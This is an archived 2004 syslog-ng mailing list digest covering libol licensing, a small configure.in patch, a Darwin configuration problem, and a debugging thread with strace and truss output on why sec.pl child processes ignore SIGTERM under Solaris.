From syslog-ng@lists.balabit.hu Sat May 1 12:20:33 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Sat, 01 May 2004 13:20:33 +0200 Subject: [syslog-ng]libol license? In-Reply-To: References: Message-ID: <1083410432.598.21.camel@bzorp.balabit> 2004-04-30, p keltezéssel 19:33-kor atonns@mail.ivillage.com ezt írta: > Bazsi, > > Thanks for your reply. It's interesting that you'd use the GPL instead > of the LGPL for libol. GPL for libraries will "infect" any code that > links to it, forcing it to be GPL as well. Any particular motivation > for that? libol was derived from lsh http://www.lysator.liu.se/~nisse/lsh And lsh is GPLd as well. I've tried to make libol a bit more general than the original code in lsh, though the fact that libol is only used by syslog-ng certainly does not help, nor the fact that I don't have too much time devoted to syslog-ng. > > I'm also wondering if there's any documentation (english) for libol - > I don't see any on your site. This site > (http://www.usinglinux.org/devel/libol.html) is the 3rd link on Google > when searching for "libol documentation". I'm trying to hunt down how > signals are handled for childen of syslog-ng and it's a blurry line > where syslog-ng ends and libol begins (this is related to the other > thread about sec.pl). Any info you might have would be helpful. lsh has a file named "HACKING" it contains some information about the framework libol provides. However the 1.9.x branch of syslog-ng is now independent of libol, the main reason being that the framework provided by libol might be a bit 'cryptic' to somebody who only understands C (and not scheme), especially the continuation part. libol does not have signal handling, it is done in syslog-ng's main.c file, more exactly the sig_child() function. -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Sun May 2 16:36:08 2004 From: syslog-ng@lists.balabit.hu (_/CaT _) Date: Sun, 02 May 2004 17:36:08 +0200 Subject: [syslog-ng]libol license? Message-ID:


help



Tired of spam? Get advanced junk mail protection with MSN 8. From syslog-ng@lists.balabit.hu Mon May 3 16:11:49 2004 From: syslog-ng@lists.balabit.hu (George Edwards) Date: Mon, 3 May 2004 10:11:49 -0500 Subject: [syslog-ng]Unsecure remote logs Message-ID: <002e01c43120$f50fbba0$6401a8c0@toshibaGEORGE> This is a multi-part message in MIME format. ------=_NextPart_000_002B_01C430F7.0C25DD80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have set up syslog-ng to run locally. But I need to be able to receive = logs from remote equipment that does not have the capability of sending = the logs secure-such as routers. I have found a lot on how to set = syslog-ng to receive remote logs securely but can anyone help me on how = to receive unsecured remote logs. Thank you for all you help. ------=_NextPart_000_002B_01C430F7.0C25DD80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have set=20 up syslog-ng to run locally. But I need to be able to receive = logs=20 from remote equipment that does not have the capability of sending the = logs=20 secure=97such as routers. I have found a lot on how to set syslog-ng to = receive=20 remote logs securely but can anyone help me on how to receive unsecured = remote=20 logs. Thank you for all you help.
------=_NextPart_000_002B_01C430F7.0C25DD80-- From syslog-ng@lists.balabit.hu Mon May 3 18:21:12 2004 From: syslog-ng@lists.balabit.hu (syslog-ng@lists.balabit.hu) Date: Mon, 3 May 2004 13:21:12 -0400 Subject: [syslog-ng]cannot get sec.pl to exit after syslog-ng does Message-ID: I am still unable to explain this. After Bazsi's explanation on the correlation between syslog-ng, C, scheme and lsh (it's not cryptic - my scheme is just a little rusty), I was able to walk through the source and see that the pid and kill handler are registered correctly in the resource list for the syslog-ng configuration. This means all children should get a SIGTERM when syslog-ng gets a SIGTERM - just before it exits the main loop. However, I am not observing this behavior. Also, I don't see CONFIG_DESTROY being called on the old configuration when the new configuration is reloaded, but I haven't walked through all that source. I'm still getting familiar with all of this so excuse me if I don't have everything straight. FYI, I'm using the libol 0.3.13 package from sunfreeware.com (SUNWlibol) and a custom complied syslog-ng 1.6.2 under Solaris 7. Any additional insights / explanations would be helpful. Thanks. Tony -- "Computer science is as much about computers as astronomy is about telescopes" -- Edsger Dijkstra --------------------------------------------------------- Anthony Tonns, UNIX Administrator - atonns@mail.ivillage.com > -----Original Message----- > From: Nate Campi [mailto:nate@campin.net] > Sent: Wednesday, April 28, 2004 10:06 PM > To: syslog-ng@lists.balabit.hu > Subject: Re: [syslog-ng]cannot get sec.pl to exit after syslog-ng does > > On Wed, Apr 28, 2004 at 02:58:47PM -0700, Nate Campi wrote: > > > > Ok. I don't know why mine is a child of syslog-ng, and it properly > > terminates when syslog-ng does. We must not be on the same > version or > > something. 1.5.26 here. > > I just fired up sec on a solaris 9 box: > > 9130 /usr/local/sbin/syslog-ng -f /etc/syslog-ng/syslog-ng.conf > 16508 /bin/sh -c /usr/local/sbin/sec.pl -input="-" > -conf=/usr/local/etc/sec.conf > 16509 /usr/bin/perl -w /usr/local/sbin/sec.pl -input=- > -conf=/usr/local/etc/sec.conf > > It isn't perl either, since starting a program with no arguments or > redirection also gets started by a shell on solaris: > > 9130 /usr/local/sbin/syslog-ng -f /etc/syslog-ng/syslog-ng.conf > 16508 /bin/sh -c /usr/local/sbin/sec.pl -input="-" > -conf=/usr/local/etc/sec.conf > 16509 /usr/bin/perl -w /usr/local/sbin/sec.pl -input=- > -conf=/usr/local/etc/sec.conf > 16616 /bin/sh -c /usr/local/bin/splogger > 16617 /usr/local/bin/splogger > 16618 /bin/sh -c /usr/local/sbin/sec.pl -input="-" > -conf=/usr/local/etc/sec.conf > 16619 /usr/bin/perl -w /usr/local/sbin/sec.pl -input=- > -conf=/usr/local/etc/sec.conf > > Notice the two SEC's, I hupped syslog-ng when adding this: > > #--------------------------- > destination d_splogger { > program("/usr/local/bin/splogger"); > }; > > # send all logs to splogger > log { > source(src); > filter(f_not_brightmail); > destination(d_splogger); > }; > #--------------------------- > > So it's certainly different behavior on Linux and Solaris in > respect to > starting child processes (syslog-ng 1.5.24 on Solaris). > > Bazsi can you explain what's going on here? iVillage Inc., 500 Seventh Avenue, New York, NY 10018 - iVillage Inc. is a leading women's media company that includes iVillage.com, Women.com, gURL.com, Astrology.com, Promotions.com, iVillage Parenting Network, The Newborn Channel, Lamaze Publishing, Business Women's Network, Diversity Best Practices, Best Practices in Corporate Communications, and iVillage Consulting. The information contained in this communication may be confidential, is intended only for the use of the recipient named above, and may be construed under applicable law to be a commercial email. If you have received this communication in error, please delete this message from your computer system. If you are the recipient named above and do not wish to receive any future commercial emails, please reply to the sender with a message stating such preference. From syslog-ng@lists.balabit.hu Mon May 3 20:34:00 2004 From: syslog-ng@lists.balabit.hu (=?ISO-8859-1?Q?Jos=E9_Pedro_Oliveira?=) Date: Mon, 03 May 2004 20:34:00 +0100 Subject: [syslog-ng]libol: configure.in patch Message-ID: <40969EA8.2040300@di.uminho.pt> This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig3CD16E7662BA1BE8462F82E3 Content-Type: multipart/mixed; boundary="------------050907020807010001000407" This is a multi-part message in MIME format. --------------050907020807010001000407 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Bazsi, Would it be possible to apply this patch against libol configure.in file? This patch allows the libol to be compiled with the same CFLAGS used in Linux distros (at least the RPM based ones). In a specfile the %configure macro automatically assigns CFLAGS with the cflags used to compile the distro. Note: The configure.in in the syslog-ng already does something similar. Regards, jpo -- José Pedro Oliveira * mailto: jpo@di.uminho.pt * http://gsd.di.uminho.pt/~jpo * * gpg fingerprint = F9B6 8D87 859D 1C94 48F0 84C0 9749 9EB5 91BD 851B * --------------050907020807010001000407 Content-Type: text/plain; name="libol-configure.in.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="libol-configure.in.patch" diff -ru libol-0.3.13+20040502-original/configure.in libol-0.3.13+20040502-modified/configure.in --- libol-0.3.13+20040502-original/configure.in 2004-01-19 13:20:38.000000000 +0000 +++ libol-0.3.13+20040502-modified/configure.in 2004-05-03 20:21:25.000000000 +0100 @@ -106,7 +106,7 @@ if test $enable_debug = "yes"; then CFLAGS="-Wall -g" else - CFLAGS="-Wall -O2" + CFLAGS="$CFLAGS -Wall" fi MAKE_CLASS="$srcdir/utils/make_class" --------------050907020807010001000407-- --------------enig3CD16E7662BA1BE8462F82E3 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFAlp6tl0metZG9hRsRAiICAJ9FxzyA/AtxnrRF11FceKVCwNnhYQCfYh/r X2PF67+xWbpwrLqRM+JD7S4= =oO7E -----END PGP SIGNATURE----- --------------enig3CD16E7662BA1BE8462F82E3-- From syslog-ng@lists.balabit.hu Mon May 3 23:39:40 2004 From: syslog-ng@lists.balabit.hu (Cary, Kim) Date: Mon, 3 May 2004 15:39:40 -0700 Subject: [syslog-ng]syslog-ng 1.7.0 on Darwin (Mac OSX Server 10.3 Panther) Message-ID: Hi all, Well, finally have this going and not crashing! Last night's 1.70 and the corresponding libol. Yay! However, I'm not grokking Darwin compared to Solaris/Linux and syslog-ng configs compared to vanilla syslog. I'm not finding much on searches that helps. The man pages for the O/S seem like they come from BSD but don't apply (see log sockets which don't exist ). I'm not a C programmer and am a bit lost trying to go to syslog.h . Little help here? IT RUNS 4.3 Berkeley Distribution June 6, 1993 4.3 Berkeley Distribution [mal-centurion:local/etc/syslog-ng] admin% sudo lsof | grep syslog tcsh 9840 admin cwd VDIR 14,21 512 200229 /usr/local/etc/syslog-ng syslog-ng 16625 root cwd VDIR 14,21 512 200229 /usr/local/etc/syslog-ng syslog-ng 16625 root 0u VCHR 3,2 0t0 20520196 /dev/null syslog-ng 16625 root 1u VCHR 3,2 0t0 20520196 /dev/null syslog-ng 16625 root 2u VCHR 3,2 0t0 20520196 /dev/null syslog-ng 16625 root 3r 0x013d5958 file struct, ty=0x3, op=0x30f300 syslog-ng 16625 root 4u IPv4 0x0142ef20 0t0 UDP *:syslog syslog-ng 16625 root 5r 0x013d3924 file struct, ty=0x3, op=0x30f300 syslog-ng 16625 root 6u IPv4 0x024554c8 0t0 TCP *:5140 (LISTEN) lsof 16894 root cwd VDIR 14,21 512 200229 /usr/local/etc/syslog-ng grep 16895 admin cwd VDIR 14,21 512 200229 /usr/local/etc/syslog-ng WHAT RUNS? I DONT KNOW THE RIGHT SOCKET/DEVICE OR PROTOCOL There is no /var/run/log or /dev/log. There is a /dev/klog but I get io.c: bind_unix_socket(): /dev/klog not a socket MY CONFIG IS FUBARED Below I place my regular config, then the syslog-ng config. VANILLA [mal-centurion:local/etc/syslog-ng] admin% more /etc/syslog.conf *.err;kern.*;auth.notice;authpriv,remoteauth,install.none;mail.crit /dev/console *.notice;local4,authpriv,remoteauth,ftp,install.none;kern.debug; mail.crit;mark.* /var/log/system.log # Send messages normally sent to the console also to the serial port. # To stop messages from being sent out the serial port, comment out this line. #*.err;kern.*;auth.notice;authpriv,remoteauth.none;mail.crit /dev/tty.serial # The authpriv log file should be restricted access; these # messages shouldn't go to terminals or publically-readable # files. authpriv.*;remoteauth.crit /var/log/secure.log lpr.info /var/log/lpr.log mail.* /var/log/mail.log ftp.* /var/log/ftp.log netinfo.err /var/log/netinfo.log install.* /var/log/install.log install.* @127.0.0.1:32376 *.emerg * local6.notice /private/var/log/mailaccess.log NEXT GENERATION ############################################################### # First, set some global options. options { # use_fqdn(yes); # use_dns(yes); # dns_cache(yes); keep_hostname(yes); long_hostnames(off); sync(1); log_fifo_size(1024); }; ############################################################### # # This is the default behavior of sysklogd package # Logs may come from unix stream, but not from another machine. # #source src { unix-stream("/dev/log"); internal(); }; source src { # don't read from /proc/kmsg and run klogd also (Linux) # pipe("/proc/kmsg"); # file("/proc/kmsg") log_prefix("kernel: "); # unix-stream("/dev/log"); # unix-stream("/chroot/named/dev/log"); internal(); udp(); # udp(ip("10.0.5.8") port(514)); tcp(port(5140) keep-alive(yes)); # tcp(ip("10.9.9.3") port(5140) keep-alive(yes)); }; ############################################################### # After that set destinations. # First some standard logfile # destination authlog { file("/var/ng-syslog/auth.log"); }; destination syslog { file("/var/ng-syslog/syslog"); }; destination cron { file("/var/log/cron.log"); }; destination daemon { file("/var/ng-syslog/daemon.log"); }; destination kern { file("/var/ng-syslog/kern.log"); }; destination lpr { file("/var/ng-syslog/lpr.log"); }; destination user { file("/var/ng-syslog/user.log"); }; destination uucp { file("/var/ng-syslog/uucp.log"); }; # This files are the log come from the mail subsystem. # #destination mail { file("/var/log/mail.log"); }; #destination maillog { file("/var/log/maillog"); }; #destination mailinfo { file("/var/log/mail.info"); }; #destination mailwarn { file("/var/log/mail.warn"); }; #destination mailerr { file("/var/log/mail.err"); }; # # Logging for INN news system # #destination newscrit { file("/var/log/news/news.crit"); }; #destination newserr { file("/var/log/news/news.err"); }; #destination newsnotice { file("/var/log/news/news.notice"); }; # Some `catch-all' logfiles. # destination debug { file("/var/ng-syslog/debug"); }; destination messages { file("/var/ng-syslog/messages"); }; # The root's console. # destination console { usertty("root"); }; The balance of that sample file is commented. The directory /var/ng-syslog exists, but none of the files. Do I have to touch those to get them going? From syslog-ng@lists.balabit.hu Tue May 4 15:16:43 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Tue, 04 May 2004 16:16:43 +0200 Subject: [syslog-ng]libol: configure.in patch In-Reply-To: <40969EA8.2040300@di.uminho.pt> References: <40969EA8.2040300@di.uminho.pt> Message-ID: <1083680203.606.16.camel@bzorp.balabit> 2004-05-03, h keltezéssel 21:34-kor José Pedro Oliveira ezt írta: > Bazsi, > > Would it be possible to apply this patch against libol configure.in > file? > > This patch allows the libol to be compiled with the same CFLAGS > used in Linux distros (at least the RPM based ones). In a specfile > the %configure macro automatically assigns CFLAGS with the cflags > used to compile the distro. > > Note: The configure.in in the syslog-ng already does something similar. committed. -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Tue May 4 15:29:34 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Tue, 04 May 2004 16:29:34 +0200 Subject: [syslog-ng]cannot get sec.pl to exit after syslog-ng does In-Reply-To: References: Message-ID: <1083680974.606.29.camel@bzorp.balabit> 2004-05-03, h keltezéssel 19:21-kor atonns@mail.ivillage.com ezt írta: > I am still unable to explain this. > > After Bazsi's explanation on the correlation between syslog-ng, C, scheme > and lsh (it's not cryptic - my scheme is just a little rusty), I was able to > walk through the source and see that the pid and kill handler are registered > correctly in the resource list for the syslog-ng configuration. This means > all children should get a SIGTERM when syslog-ng gets a SIGTERM - just > before it exits the main loop. However, I am not observing this behavior. I've tried to reproduce the problem you are describing, but without success. I attached with strace to syslog-ng and its child process (this time it was /bin/cat), and here are the results: syslog-ng: poll([{fd=6, events=0}, {fd=4, events=POLLIN}, {fd=3, events=POLLIN}], 3, 100) = 0 poll([{fd=6, events=0}, {fd=4, events=POLLIN}, {fd=3, events=POLLIN}], 3, 1000) = 0 write(2, "Marking fd 3 for closing.\n", 26Marking fd 3 for closing. ) = 26 write(2, "Marking fd 4 for closing.\n", 26Marking fd 4 for closing. ) = 26 write(2, "Marking fd 6 for closing.\n", 26Marking fd 6 for closing. ) = 26 kill(9032, SIGTERM) = 0 cat: $ strace -p 9032 Process 9032 attached - interrupt to quit read(0, 0x804d848, 4096) = ? ERESTARTSYS (To be restarted) --- SIGTERM (Terminated) @ 0 (0) --- Process 9032 detached So cat receives the TERM signal, maybe it is blocked for you in some ways? Another thing that should terminate your process is that syslog-ng closes the write side of its pipe e.g. your perl script should have received an EOF on its standard input, even if it does not receive the term signal. > > Also, I don't see CONFIG_DESTROY being called on the old configuration when > the new configuration is reloaded, but I haven't walked through all that > source. I'm still getting familiar with all of this so excuse me if I don't > have everything straight. this is in main.c around line 77: self->backend->persistent = make_persistent_config(); CONFIG_DESTROY(self->backend->configuration, self->backend->persistent); self->state++; self->backend->oldconfig = self->backend->configuration; self->backend->configuration = self->backend->newconfig; io_callout(&self->backend->super, 0, c); > > FYI, I'm using the libol 0.3.13 package from sunfreeware.com (SUNWlibol) and > a custom complied syslog-ng 1.6.2 under Solaris 7. -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Tue May 4 16:21:50 2004 From: syslog-ng@lists.balabit.hu (syslog-ng@lists.balabit.hu) Date: Tue, 4 May 2004 11:21:50 -0400 Subject: [syslog-ng]cannot get sec.pl to exit after syslog-ng does Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C431EB.85EFFE30 Content-Type: text/plain > From: Balazs Scheidler [mailto:bazsi@balabit.hu] > Sent: Tuesday, May 04, 2004 10:30 AM > To: syslog-ng@lists.balabit.hu > Subject: RE: [syslog-ng]cannot get sec.pl to exit after syslog-ng does > > I've tried to reproduce the problem you are describing, but without > success. I attached with strace to syslog-ng and its child > process (this > time it was /bin/cat), and here are the results: > [ results snipped ] > > So cat receives the TERM signal, maybe it is blocked for you > in some ways? > Another thing that should terminate your process is that > syslog-ng closes > the write side of its pipe e.g. your perl script should have > received an EOF > on its standard input, even if it does not receive the term signal. Well, it looks like the intervening "ignore SIGTERM" action is the /bin/sh spawned as the parent of all syslog-ng children (v1.6.2, line 112 of afprogram.c). Sorry I didn't think of using truss/strace sooner. I've included the truss output below. The command line used was "truss -d -f /usr/local/sbin/syslog-ng 2>&1 | tee debug1.txt", so each line has the pid and the offset-timestamp. You'll see that the /bin/sh ignores the SIGTERM and keeps waiting for it's children. It was only after I SIGTERM'd sec.pl did the /bin/sh exit. The processes were laid out as follows: 14340 /usr/local/sbin/syslog-ng 14342 /bin/sh -c /usr/local/sbin/sec.pl -intevents -input="-" -conf=/usr/local/etc/se 14344 /usr/local/bin/perl -w /usr/local/sbin/sec.pl -intevents -input=- -conf=/usr/lo I sent the first SIGTERM to syslog-ng at timestamp ~7.5 seconds, where it exited and /bin/sh didn't. I SIGTERM'd /bin/sh at timestamp ~17.4 seconds, with no result. It was only after SIGTERM'ing sec.pl at ~23.4 seconds did /bin/sh give up at ~26.4 seconds. I'm not sure what to do at this point about the /bin/sh - but I'm open to suggestions. I've checked syslog-ng 1.5.26 that Nate said he was using and it has the same /bin/sh line in afprogram.c. I've found this info from the 'sh' manpage: Signals The INTERRUPT and QUIT signals for an invoked command are ignored if the command is followed by &; otherwise signals have the values inherited by the shell from its parent, with the exception of signal 11 (but see also the trap command below). But I'm not sure what it would inherit from syslog-ng. > this is in main.c around line 77: Ah yes! ok! Once again, thanks for the help. -- "Computer science is as much about computers as astronomy is about telescopes" -- Edsger Dijkstra --------------------------------------------------------- Anthony Tonns, UNIX Administrator - atonns@mail.ivillage.com RELEVANT TRUSS OUTPUT: syslog-ng --------- 14340: 0.5666 poll(0xFFBEF908, 8, 100) = 0 14340: poll(0xFFBEF908, 8, 60000) (sleeping...) 14340: signotifywait() (sleeping...) 14340: lwp_sema_wait(0xFEF0DE78) (sleeping...) 14340: door_return(0x00000000, 0, 0x00000000, 0) (sleeping...) 14340: 7.5103 signotifywait() = 15 14340: 7.5107 Received signal #15, SIGTERM, in poll() [caught] 14340: siginfo: SIGTERM pid=13532 uid=0 14340: 7.5106 lwp_sigredirect(1, SIGTERM) = 0 14340: 7.5109 poll(0xFFBEF908, 8, 60000) Err#4 EINTR 14340: 7.5111 sigaction(SIGTERM, 0xFFBEF398, 0x00000000) = 0 14340: 7.5113 sysconfig(_CONFIG_SIGRT_MIN) = 38 14340: 7.5114 sigprocmask(SIG_SETMASK, 0xFF0DD9A8, 0x00000000) = 0 14340: 7.5116 sigaction(SIGTERM, 0xFFBEF228, 0xFFBEF328) = 0 14340: 7.5118 sigprocmask(SIG_SETMASK, 0xFF0E96D8, 0x00000000) = 0 14340: 7.5119 sysconfig(_CONFIG_SIGRT_MIN) = 38 14340: 7.5121 setcontext(0xFFBEF570) 14340: 7.5123 getpid() = 14340 [1] 14340: 7.5124 time() = 1083681719 14340: 7.5135 time() = 1083681719 14340: 7.5137 time() = 1083681719 14340: 7.5138 time() = 1083681719 14340: 7.5140 poll(0xFFBEF908, 8, 100) = 2 14340: 7.5142 write(4, " M a y 4 1 0 : 4 1".., 82) = 82 14340: 7.5145 write(9, " < 4 5 > M a y 4 1".., 86) = 86 14340: 7.5148 getpid() = 14340 [1] 14340: 7.5149 kill(14342, SIGTERM) = 0 14340: 7.5152 door_revoke(5) = 0 14340: 7.5153 close(5) Err#9 EBADF 14340: 7.5162 llseek(0, 0, SEEK_CUR) = 0 14340: 7.5164 _exit(0) /bin/sh ------- 14342: 0.2626 fork() = 14344 14342: waitid(P_PID, 14344, 0xFFBEF850, WEXITED|WTRAPPED|WNOWAIT) (sleeping...) 14342: 7.5170 Received signal #15, SIGTERM, in waitid() [caught] 14342: siginfo: SIGTERM pid=14340 uid=0 14342: 7.5178 waitid(P_PID, 14344, 0xFFBEF850, WEXITED|WTRAPPED|WNOWAIT) Err#4 EINTR 14342: 7.5180 setcontext(0xFFBEF538) 14342: waitid(P_PID, 14344, 0xFFBEF850, WEXITED|WTRAPPED|WNOWAIT) (sleeping...) 14342: 17.4322 Received signal #15, SIGTERM, in waitid() [caught] 14342: siginfo: SIGTERM pid=13532 uid=0 14342: 17.4324 waitid(P_PID, 14344, 0xFFBEF850, WEXITED|WTRAPPED|WNOWAIT) Err#4 EINTR 14342: 17.4326 setcontext(0xFFBEF538) 14342: waitid(P_PID, 14344, 0xFFBEF850, WEXITED|WTRAPPED|WNOWAIT) (sleeping...) 14342: 26.4310 waitid(P_PID, 14344, 0xFFBEF850, WEXITED|WTRAPPED|WNOWAIT) = 0 14342: 26.4318 ioctl(0, TIOCGPGRP, 0xFFBEF80C) Err#22 EINVAL 14342: 26.4319 getpgid(14344) = 14337 14342: 26.4321 ioctl(0, TIOCGPGRP, 0xFFBEF80C) Err#22 EINVAL 14342: 26.4322 waitid(P_PID, 14344, 0xFFBEF850, WEXITED|WTRAPPED) = 0 14342: 26.4326 llseek(0, 0, SEEK_CUR) Err#29 ESPIPE 14342: 26.4327 _exit(2000) sec.pl ------ 14344: 23.4165 Received signal #15, SIGTERM, in poll() [caught] 14344: siginfo: SIGTERM pid=13532 uid=0 14344: 23.4167 poll(0xFFBEF838, 0, 100) Err#91 ERESTART 14344: 23.4172 sigaction(SIGTERM, 0xFFBEF048, 0xFFBEF0C8) = 0 14344: 23.4175 setcontext(0xFFBEF520) 14344: 23.4179 time() = 1083681735 14344: 23.4181 waitid(P_ALL, 0, 0xFFBEF788, WEXITED|WTRAPPED|WNOHANG) Err#10 ECHILD 14344: 23.4183 ioctl(2, TCGETA, 0xFFBEF874) Err#6 ENXIO 14344: 23.4185 ioctl(2, TCGETA, 0xFFBEF874) Err#6 ENXIO 14344: 23.4187 time() = 1083681735 14344: 23.4189 ioctl(2, TCGETA, 0xFFBEF874) Err#6 ENXIO 14344: 23.4201 time() = 1083681735 14344: 23.4204 time() = 1083681735 14344: 23.4206 ioctl(2, TCGETA, 0xFFBEF874) Err#6 ENXIO 14344: 23.4208 time() = 1083681735 14344: 23.4211 time() = 1083681735 14344: 23.4213 ioctl(2, TCGETA, 0xFFBEF874) Err#6 ENXIO 14344: 23.4215 ioctl(2, TCGETA, 0xFFBEF874) Err#6 ENXIO 14344: 23.4217 time() = 1083681735 14344: 23.4219 alarm(0) = 0 14344: 23.4221 sigaction(SIGALRM, 0xFFBEF798, 0xFFBEF848) = 0 14344: 23.4222 sigfillset(0xFF23C4C4) = 0 14344: 23.4224 sigprocmask(SIG_BLOCK, 0xFFBEF838, 0xFFBEF828) = 0 14344: 23.4225 alarm(3) = 0 14344: sigsuspend(0xFFBEF818) (sleeping...) 14344: 26.4168 Received signal #14, SIGALRM, in sigsuspend() [caught] 14344: 26.4171 sigsuspend(0xFFBEF818) Err#4 EINTR 14344: 26.4173 setcontext(0xFFBEF500) 14344: 26.4174 alarm(0) = 0 14344: 26.4176 sigprocmask(SIG_UNBLOCK, 0xFFBEF838, 0x00000000) = 0 14344: 26.4178 sigaction(SIGALRM, 0xFFBEF798, 0x00000000) = 0 14344: 26.4179 time() = 1083681738 14344: 26.4181 getcontext(0xFFBEF5E8) 14344: 26.4183 setcontext(0xFFBEF5E8) 14344: 26.4212 getcontext(0xFFBEF4D0) 14344: 26.4219 getcontext(0xFFBEF370) 14344: 26.4221 getcontext(0xFFBEF370) 14344: 26.4244 llseek(0, 0, SEEK_CUR) Err#29 ESPIPE 14344: 26.4246 _exit(0) iVillage Inc., 500 Seventh Avenue, New York, NY 10018 - iVillage Inc. is a leading women's media company that includes iVillage.com, Women.com, gURL.com, Astrology.com, Promotions.com, iVillage Parenting Network, The Newborn Channel, Lamaze Publishing, Business Women's Network, Diversity Best Practices, Best Practices in Corporate Communications, and iVillage Consulting. The information contained in this communication may be confidential, is intended only for the use of the recipient named above, and may be construed under applicable law to be a commercial email. If you have received this communication in error, please delete this message from your computer system. If you are the recipient named above and do not wish to receive any future commercial emails, please reply to the sender with a message stating such preference. ------_=_NextPart_001_01C431EB.85EFFE30 Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: [syslog-ng]cannot get sec.pl to exit after syslog-ng = does

> From: Balazs Scheidler [mailto:bazsi@balabit.hu]
> Sent: Tuesday, May 04, 2004 10:30 AM
> To: syslog-ng@lists.balabit.hu
> Subject: RE: [syslog-ng]cannot get sec.pl to = exit after syslog-ng does
>
> I've tried to reproduce the problem you are = describing, but without
> success. I attached with strace to syslog-ng = and its child
> process (this
> time it was /bin/cat), and here are the = results:
>
[ results snipped ]
>
> So cat receives the TERM signal, maybe it is = blocked for you
> in some ways?
> Another thing that should terminate your = process is that
> syslog-ng closes
> the write side of its pipe e.g. your perl = script should have
> received an EOF
> on its standard input, even if it does not = receive the term signal.

Well, it looks like the intervening "ignore = SIGTERM" action is the /bin/sh spawned as the parent of all = syslog-ng children (v1.6.2, line 112 of afprogram.c).

Sorry I didn't think of using truss/strace sooner. = I've included the truss output below. The command line used was = "truss -d -f /usr/local/sbin/syslog-ng 2>&1 | tee = debug1.txt", so each line has the pid and the offset-timestamp. = You'll see that the /bin/sh ignores the SIGTERM and keeps waiting for = it's children. It was only after I SIGTERM'd sec.pl did the /bin/sh = exit. The processes were laid out as follows:

14340 /usr/local/sbin/syslog-ng
  14342 /bin/sh -c /usr/local/sbin/sec.pl = -intevents -input=3D"-" -conf=3D/usr/local/etc/se
    14344 /usr/local/bin/perl -w = /usr/local/sbin/sec.pl -intevents -input=3D- -conf=3D/usr/lo

I sent the first SIGTERM to syslog-ng at timestamp = ~7.5 seconds, where it exited and /bin/sh didn't.
I SIGTERM'd /bin/sh at timestamp ~17.4 seconds, with = no result.
It was only after SIGTERM'ing sec.pl at ~23.4 = seconds did /bin/sh give up at ~26.4 seconds.

I'm not sure what to do at this point about the = /bin/sh - but I'm open to suggestions. I've checked syslog-ng 1.5.26 = that Nate said he was using and it has the same /bin/sh line in = afprogram.c. I've found this info from the 'sh' manpage:

  Signals
     The INTERRUPT and QUIT = signals for an  invoked  command  are
     ignored  if  the = command is followed by &; otherwise signals
     have the values inherited = by the shell from its parent, with
     the  exception  = of signal 11 (but see also the trap  command
     below).

But I'm not sure what it would inherit from = syslog-ng.

> this is in main.c around line 77:

Ah yes! ok!

Once again, thanks for the help.

--
"Computer science is as much about computers as =
        astronomy = is about telescopes" -- Edsger Dijkstra
--------------------------------------------------------- =
Anthony Tonns, UNIX Administrator - = atonns@mail.ivillage.com




RELEVANT TRUSS OUTPUT:

syslog-ng
---------
14340:   0.5666 poll(0xFFBEF908, 8, = 100)           &n= bsp;            = =3D 0
14340:  poll(0xFFBEF908, 8, = 60000)      (sleeping...)
14340:  = signotifywait()         &nb= sp;       (sleeping...)
14340:  = lwp_sema_wait(0xFEF0DE78)       = (sleeping...)
14340:  door_return(0x00000000, 0, 0x00000000, = 0) (sleeping...)
14340:   7.5103 = signotifywait()         &nb= sp;           &nb= sp;           =3D = 15
14340:   7.5107     = Received signal #15, SIGTERM, in poll() [caught]
14340:        = siginfo: SIGTERM pid=3D13532 uid=3D0
14340:   7.5106 lwp_sigredirect(1, = SIGTERM)          &nbs= p;          =3D 0
14340:   7.5109 poll(0xFFBEF908, 8, = 60000)           =            Err#4 = EINTR
14340:   7.5111 sigaction(SIGTERM, = 0xFFBEF398, 0x00000000)      =3D 0
14340:   7.5113 = sysconfig(_CONFIG_SIGRT_MIN)       &n= bsp;            = =3D 38
14340:   7.5114 sigprocmask(SIG_SETMASK, = 0xFF0DD9A8, 0x00000000) =3D 0
14340:   7.5116 sigaction(SIGTERM, = 0xFFBEF228, 0xFFBEF328)      =3D 0
14340:   7.5118 sigprocmask(SIG_SETMASK, = 0xFF0E96D8, 0x00000000) =3D 0
14340:   7.5119 = sysconfig(_CONFIG_SIGRT_MIN)       &n= bsp;            = =3D 38
14340:   7.5121 = setcontext(0xFFBEF570)
14340:   7.5123 = getpid()          &nbs= p;           &nbs= p;           &nbs= p;     =3D 14340 [1]
14340:   7.5124 = time()           =             =             =        =3D 1083681719
14340:   7.5135 = time()           =             =             =        =3D 1083681719
14340:   7.5137 = time()           =             =             =        =3D 1083681719
14340:   7.5138 = time()           =             =             =        =3D 1083681719
14340:   7.5140 poll(0xFFBEF908, 8, = 100)           &n= bsp;            = =3D 2
14340:   7.5142 write(4, " M a = y     4   1 0 : 4 1".., = 82)      =3D 82
14340:   7.5145 write(9, " < 4 5 = > M a y     4   1".., = 86)      =3D 86
14340:   7.5148 = getpid()          &nbs= p;           &nbs= p;           &nbs= p;     =3D 14340 [1]
14340:   7.5149 kill(14342, = SIGTERM)          &nbs= p;           &nbs= p;     =3D 0
14340:   7.5152 = door_revoke(5)         &nbs= p;           &nbs= p;            = =3D 0
